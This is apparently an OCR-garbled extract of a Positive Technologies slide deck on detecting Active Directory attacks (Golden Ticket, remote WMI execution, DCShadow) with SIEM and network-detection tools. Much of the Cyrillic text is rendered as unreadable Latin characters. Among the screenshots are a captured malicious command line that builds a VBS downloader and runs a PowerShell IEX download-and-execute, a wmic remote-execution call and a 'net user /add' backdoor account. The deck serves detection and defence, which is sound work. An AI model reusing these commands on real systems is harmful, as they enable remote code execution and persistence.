Supplied Realm Name: i2 Account Domain: 12RU
User ID: 12\admin Logon GUID: {b06f73a9-cf53-5f77-27e1-
a877e00666f8}
Service Information:
Service Name: krbtgt = Service Information: =
Service ID: 12\krbtgt B Service Name: krbtgt
Service ID: 12\krbtgt
Network Information:
Client Address: +ffff:192.168.133.130 Network Information:
Client Port: 49219 Client Address: +ffff:192.168.133.130
[#] Client Port: 49227 [#]
Additional Information:
Ticket Options: 0x40810010 ‘ lzl Additional Information: E
Result Code: 0x0 Ticket Options: 0x60810010
Ticket Encryption Type:  0x12 Ticket Encryption Type:  0x12
Pre-Authentication Type: 2 Failure Code: 0x0

Transited Services: -
Certificate Information:

Certificate Issuer Name: 7 | This event is generated every time access is requested to a resource such as «
Log Name: Security Log Name: Security
Source: Microsoft Windows se« Logged: 3/13/2018 11:55:44 , Source: Microsoft Windows se« Logged: 3/13/2018 11:57:03 ;
Event ID: 4768 Task Category: Kerberos Authentica 1 Event ID: 4769 Task Category: Kerberos Service Tic
Level: Information Keywords: Audit Success Level: Information Keywords: Audit Success
User: N/A Computer: 2012r2-dc.l2.ru User: N/A Computer: 2012r2-dc.l2.ru
OpCode: Info OpCode: Info

More Information: Event Log Online More Information: Event Log Online




Golden Ticket MaxPatrol SIEM Detection POSITIVE TECHNOLOGIES

INC-153 CTaTyc

Golden_ticket_detection
“» Bbicokas

MoteHynanbHan ataka golden ticket. O6HapyxeHa Bbipnaqa TGS, HO He HaW, o
TGT, sbijaHHbiv paHee ANA nonssosarenn user Haysne 10.125.4.11

SIEM

e I

Ceronns 8 02:1
ﬂapamerpbl Ceronns 8 02:19
He onpepenexa
peaene \ e WMameneno: Onucaune, [lata obHapymeHns,

CobbiTua, KputnuHocTs, Tun
ceronHn, 02:19

He onpegenexH

C()fjb:'”g AKTUBLI U CeTH
Bpemn CobbiTne
14 mapra 02:19 Ha yane s-ad-001.ptlab.ru cnyx6ou Kerberos sbifian ceancosbin duner (TGS) anna
14 mapra 02:19 MoresumansHan araka golden ticket. ObHapyxeHa ebinava TGS, HO He Hangen T

OTKPbLITL «COBLITHUAS



Golden Ticket PT Network Attack Discovery Detection

~POSITIVE TECHNOLOGIES

T

ATaku
08122017
c 08.12.2017 11:59 no 08.12.2017 12:59
€ o
Bocero 2 aTakw: 2 BbICOKOW ONacHoOCTH 0 cpepHel oNacHoCTH

12:00:... 12:02:00 12:04:00 12:06:00 12:05:00 12:10:00 12:12:00

Mokazano 2 cTpokkn — OTmeveHo 0 CcTpok

! A
[PT ATTACK AD] Golden ticket: unusual encryption in TGS-REQ

[PT ATTACK AD] Golden ticket: unusual encryption in TGS-REQ

0 HW3KOW OMNACHOCTH 0 npouunx aTak

12:14:00

12:16:00 12:18:00 12:20:00 12:22:00 12:24:00 12:26:00

Knacc
Attempted Administrator Privilege Gain

Atternpted Administrator Privilege Gain

IP-agpec oTnpa..

192.168.15..

192.168.15..

12:28:00 12:30:00 12:32:00

MopT oTnpa..

50083

50082

CTpaHa oTnp...

12:34:00 12:36:00

IP-agpec nonyy...

192.168.15..

192.168.15..

12:38:00 12
MopT nomyy...
88

a8



WMI Remote

~POSITIVE TECHNOLOGIES

YaoaneHHoe BbINonHeHne komaHg Yyepes WMI

C:\Users\syw i s »wmic /NODE:16.8.8« ¢ fuser:administrator /password:}rgrésshs proc
WoeT esnonHedue (Win3 o55)

MeTol yCNewHo BLIZEaH.

NapameTpbl EHEOLA:

instance of _ PARAMETERS

ProcessId

Returnvalue




WMI Remote

Logon Event ID 4624

An account was successfully logged on.

Subject:
Security 1D
Account Mame:
Account Domain:
Legon ID:

Legon Information:
Logon Type:
Restricted Admin Mode:
Virtual Account:
Elevated Token:

Impersonation Level
MNew Legon:
Security ID:

Account Name:

Logon ID:

MULL 51D

(151

3
Mo
Yes

Impersonation

DESKTOP-EDQLUKH Adrministrator
Administrator

= LUKH
0x15BBF7

I |28
Metwork Account Mame:

U0

Metwork Account Domain: -

Logon GUID:

Process Infarmation:
Process I[:
Process Mame;

Metwaork Information:
Workstation Name:
Source Metwork Address:
Source Port:

{00000000-0000-0000-0000-000000000000}

1))

AerTatles
10,045 14,
54913

~POSITIVE TECHNOLOGIES

4688 with command line

General Detailz

@ Event Properties - Event 4688, Microsoft Windows security auditing.

Security ID:
Account Name:
Account Domain:

Logon ID:

Target Subject:
Security ID:
Account Name:

NETWORK SERVICE
DESKTOP-EDQLUKHS
WORKGROUP

Ox3E4

MULL SID
Administrator

DESKTQP_EDOLUKH

il
——-—-‘i Logon ID:

Ox15BBFT

Process Information:
Mew Process ID:
Mew Process Name:
Token Elevation Type:
Mandatory Label:
—lmmmmme tesmree B

Ox10de

ChAWindows\System32\net.exe

%1936

Mandatory Label\High Mandatory Level
I\“.-J 20

Creator Process Mame:

Process Command Line:

CAWindows\System3 N\ whem\WmiPrvSE.exe

net user fadd testddd P@sswiird




WMI Remote POSITIVE TECHNOLOGIES

@..2..3..8..9..21...... I = EES o soooc0n0000000000000000000000000050000000000300300000000030030503 __mooocoos $%5.... ...5..e 4
e ValueMap..... N$..Q$..T$..H$..Z$..]$..a$...@..2..3..8..9..21 ...... Implemented ............................
............ [[8=0 0f30td0 0 s boDBOOOCA.N00 I 0000000 0000000LE0 00000004 Moo onoa0a00000uatnaod oo d o oo oo EaE
..W.i.n.3.2. .P.r.o.c.e.s.s...User............ C.r.e.a.t.8....000uuuunn. b...b.. . MEOW......... So..MoL K. S Er........ KB
2...xv4. %L LS.,
,,,,,,,,,,,,,,,,,,,,,,,,,, FeeieneSeaVNecamicnsamnsmsansnaansanaaan==_ PARAMETERS. .abstract....................Commandline..string.....
........ 7 N
,,,,,,,, Fe ™ iiiieeaeanaen... . Win328PI|Process and Thread Functions|lpCommandLine ..MappingStrings...............)
........ 7 “ommoosscccccooos soooooodllicccssssssssooalt
........ VWoco™ooooooocoococoon cocoooooocoscoocooooSARHscooocacoooonoo0 00 SRS BUREE TR s oS AF s sooocooconococooac
,,,,,,,,,,,,, L
................................ Win32API|Process and Thread Functions|CreateProcess|lpCurrentDirectory
MappingStrings.....ceeeuuan.. )
....................... e e g
....................... focomo ocooooFocosonocansooSHrliig:
,,,,,,,,,,,,,,,,,, ProcessStartupInformation..object.
............. In
........................... L....WMI|Win32_ProcessStartup..MappingStrings.
,,,,,,,,,,,,, Hoc
....................... Tooooa odlooooilbl
............. 6..
,,,,,,,,,,,,,,,,,,,,,,, Foooac
¥ocoosococoososone el e e o L T | R T R R R L P TR P R PPRp

..................... osnrreiiireiiiiiie - _PARANMETERS..cmg /v:on fc Tor /T Ttokens=2 delims=.|" BL in (Tver ) 0 (set a-mljait 1 |
a:~-1!==5 (flecho on error resume next>¥windir¥\1l.vbs&fecho Set ox=CreateObject™("MSXML2Z.XMLHTTP"")>>Fwindir¥\11l.vbs&flecho ox.open
"GET","http:///info.vbs",Talse>>Bwindir®\11.vbsif@echo ox.send” (") >>¥windir#\11l.vbsi@lecho If ox.S5tatus=280 Then>>¥windir#\1l.vbs&fecho
Set oas=CreateObject™("ADODE.Stream")>>¥windir#\11.vbsifecho oas.0pens>>Ewindir¥\11.vbs&flecho oas.Type=1 »>¥windir#\11.vbs&@echo
oas.Write ox.ResponseBody>>¥windir®\11l.vbs&f@echo oas.SaveToFile "¥windir¥\info.wbs",2 >>%Fwindir¥\11.vbs&flecho oas.Close>>¥windiri
\11.vbs&flecho End if:>¥windir¥\ll.vbs&@echo Set os=CreateObject”("Wscript.Shell™)>>¥Bwindir¥\11.vbs&@echo os.Exec™("cscript.exe
Fwindir¥\info.vbs"")>>XBwindir®\11.vbs&cscript.exe ¥Bwindir¥\ll.vbs) else (powershell "if(!([string](Get-WMIObject -Namespace root
\Subscription -Class _ FilterToConsumerBinding )).contains('SCM Event Filter')) {if((Get-WmiObject
Win32_OperatingSystem).osarchitecture.contains('64")){IEX(New-0Object Net.WebClient).DownloadString('http:///info6.psl")}else{IEX(New-

Object Net. Nebcllent} DownlosdSEcing (S hiEtps A finFo3 . ps Y N e ol alall el ol alalalalala) s sl ulullu)alala)s)slaa)alls/al)e)sle ) slal)alala)s)slal)alals]alala]s]ela /el =lala e
............. m; T R T T Ty ==,

4 ~Yooo

K ccoococoooo00nc000000000 PARAMETERS. .abstract.......cccocaeananas ProcessTd. .uint32. ... .o.o..oa.o....

........ L

........ S5ee-Meveesnunnnennnnn...Win328PI|Process and Thread Functions|CreateProcess|lpProcessInformation |

dwProcessId. .MappingStrings......ceeeeuuun Nooo




WMI Remote MaxPatrol SIEM Detection POSITIVE TECHNOLOGIES

INC-210 CTEITYC

WMIC_execution
KputuuyHocTe  # Beicokas

» 14.03.2018 12:42:46

06HapymeHo YOoaneHHOE BbliNONHEHWE KOMaHAkl NONkL30BaTenem admin ¢ Y

Ctatyc @ HoBwin
192.168.133.132 Ha y3ne win10.12.ru '

OTBeTcTBEHHEIM He Ha3HaveH Monb3osaTens winl0S cosnan HoBbIW Npolece “calc.exe” Ha yane win10.12.ru
ConepuT aaHHblie 06 1 cpabaTblBaHUKW NPpaBuIa KOpPenaLuu ABTOD
WMIC_execution
McTouyHmk mHymperHta  SIEM object.id 0x1154
O6Hapy:xeH CeroaHsa B 12:42 object.type  elevated
MlapaMeTDbL )
P P Cospnad  CerogHa B 14:03 object.path C:\Windows\System32\calc.exe

Kateropus  He onpepenexa MNocnegHee uameHedne WameHeHo: OnucaHue, [
Tun  He onpenenen CobbiTua, KputnuHocts ., I'Iapameprl B3auMogeicTBUA
cerogHa, 14:03
Bnnanue .
mportance info
Pacnonomexue
action  start

status success

. JononHuTenbHaa UHGopmMaLus

3apauu CobeITHA AKTUBBI M CETH ATakylolWwmMe aKkTUBEI KommeHTapuu datafieldl  Ox3e4
datafield2 Oxbec
Bpems CobbiTHe datafield3 C:\Windows\System32\wbem\WmiPrvSE.exe
. datafieldd WmiPrvSE.exe
14 mapta 12:42 O6Hapy»eHo yaaneHHoe BbINOMHEHWE KOMaHbl Nonb3oBaTenem admin ¢ yana 1. oS
datafield5 calc
14 mapta 12:42 Mone3oBaTent admin ocylWecTBWN YCMEWHbIA BXOA B cucTeMy Ha y3ne win10.12.r... LY count 1
. . . , msgid 4688
14 mapta 12:42 Monbsosatens win10S cosaan HoBwIA Npouece "calc.exe” Ha yane win10.12.ru €3

OTkpbITh «CobbITUA»



WMI Remote PT Network Attack Discovery Detection POSITIVE TECHNOLOGIES

1 | | |
c01.11.2017 1910 no 02.11.2017 1910
€ o
Boero 1 ataka: ™ 1 BbICOKOR ONacHOCTH 0 cpefiHeR ONacHOCTH 0 HA2KOW ONacHOCTH 0 Npoynx aTak
20:00 21:00 22:00 23:00 00:00 01:00 02:00 03:00 04:00 05:00 06:00 07:00 03:00 09:00 10:00 11:00 1
MokazaHa 1 cTpoka — OTmeueHo 0 cTpoK
MmA Knacc IP-agpec otnpa.. [opt oTnpa.. Ctpana otnp.. IP-agpec nonyd.. [lopT noayu..

[PT OPEN] Remote WMI Win32_Process create Attemnpted Administrator Privilege Gain  192.168.15.. 49426 192.168.15.. 49154



% CnoxHble n agnuHHble (>25) naponu ona CepBUCHbIX YYETHLIX 3anncemn
» Anti-Kerberoasting

*» JlormpoBaHne PowerShell
* [ToMOXeT 0OHaPYXUTb UCMOSIb30BaAHME MHOIMX COBPEMEHHbIX MHCTPYMEHTOB Anst atak Ha AD

*» [lepeesn Ha Windows 10, Windows Server 2016
* [NlamaTte ¢ NTLM-xewamun n bunetammn Kerberos tenepsb 3awmiieHa (Credential Guard)

¢ CTporoe pasrpaHu4yeHue posneu
e ONacHoO co4eTtaTb B ogHOW ponun aamuHucTpaTtopa AD, DC, Bcex cepBepoB 1 padboymx MaLlmH

*» [1BonHaa cmeHa naponsa krbtgt. Kaxabin roa. M nocne yxoga AD agMmuHucTpaTopa
* Anti-GoldenTicket

s CpeacTtBa 3aluUThbl C HEMPEPbLIBHO OOHOBNSAOLENCHA 3KCNEePTHON 6a30M 3HaAHUW
« [Ins obHapyXeHua pearibHbIX akTyarbHbIX aTak



24 aneapa 2018 roga. Microsoft BlueHat IL. Benjamin Delpy u Vincent Le Toux.
Mimikatz

CospaHue nogaenbHoro DC ans nameHeHnus/co3gaHns oobektoB AD yepes pennukauuto

Bcero 2 SPN ansa nogaepxkn Kerberos

[puHyanTenbHas unm oTnoxeHHas (15 MUHyT) pennukaums

[MooaenbHbin DC He oTnpaBnsieT cobbiTnsi B SIEM




YTtobbl apyrne DC mornum
ayTeHTUdMUNPOBATLCS MO
Kerberos ans pennukaumnu

Bbi3oB
DRSReplicaAdd

NMONYYEHUE DA/EA> CO3[AHME SPN PEMTMCTPALMS DC m> PROFIT >

CosnaHne obbekTa knacca

NTDSDSA B
CN=Configuration




Kak Bbirnagmnt DCShadow B Tpaduke

DRSUAPI 306 DsBind request

DRSUAPI 830 DsAddEntry request Modifying CN=Configuration
DRSUAPT 258 DsAddENTry respons (the nTDSA object)
DRSUAPI 194 Dsunbind request

DRSUAPT 194 DsuUnbind response

DRSUAPI 258 DsBind request

DRSUAPT 758 DsBind response Trigerring the replication
DRSUAFRPI 460 DRSUAPI_REPLICA_ADD request

DRSUAPT 134 DsReplicaupdaterefs request

DRSUAPI 178 DsReplicaupdaterefs response

DRSUAPI 380 DRSUAPI_REPLICA_DEL requestT

DRSUAPI 194 Dsunbind request




Suspicious Replication MaxPatrol SIEM Detection POSITIVE TECHNOLOGIES

INC-248 Cratyc

Replication_to_unauthorized_DRA
KputuuHocTe 4+ Beicokas

O6HapyyeHa NnonblTKa pennukauuu Active Directory Ha yane DC.test.lab c . .
yanom WIN10.test.lab, He BxogAWKMM B AOBEDEHHBIA CNWCOK Cratyc @ Hosuii
OTeeTcTBEEeHHEIM He HasHauveH
Conep»WT AaHHble 06 1 cpabaTbiBaHWW NpaBuna KoppenauMu
Replication_to_unauthorized_DRA

ABTop
McTouyHuk mHUmageHta SIEM

O6HapyxeH 09 deBpans, 04:41

MapameTpbl Cospan  CerogHa B 17:31

Kateropwa He onpenenexa M
= Pea ocnefHee uameHeHne MWameHeHo: OnucaHue, [aTa obHapyXeHus,

un He onpepenen CobbiTa, KpuTHuHocTe, Tun
cerogHa, 17:31

BanaHue
PacnonoxeHue
3afaqm CobbiTuA AKTMBBI U CETH ATakyroume akTMBb KommeHTapuu
Bpemsa CobbiTHe
09 dheppana 04:41 YnaneH KOHTEKCT MMEeHOBaHUA MCTOYHKKa pennuku Active Directory Ha yane DC.t.. L
09 dheppana 04:41 OfHapy:eHa NonbITKa pennukalmu Active Directory Ha yane DC.test.lab ¢ yanom ... L

OTKpbITE «CoBbLITUA»



DCShadow PT Network Attack Discovery Detection POSITIVE TECHNOLOGIES

c 06.02.2018 20:09 no 07.02.2018 20:09

= &
Bcero 2 ataku: 2 BbICOKOW ONacHOCTH 0 cpegHei ONacHOCTH 0 HWM3KOR ONAcHOCTK 0 npouyux aTak
21:00 22:00 23:00 00:00 01:00 02:00 03:00 04:00 05:00 06200 0700 08:00 0%:00 10:00 11:00 12:00 1
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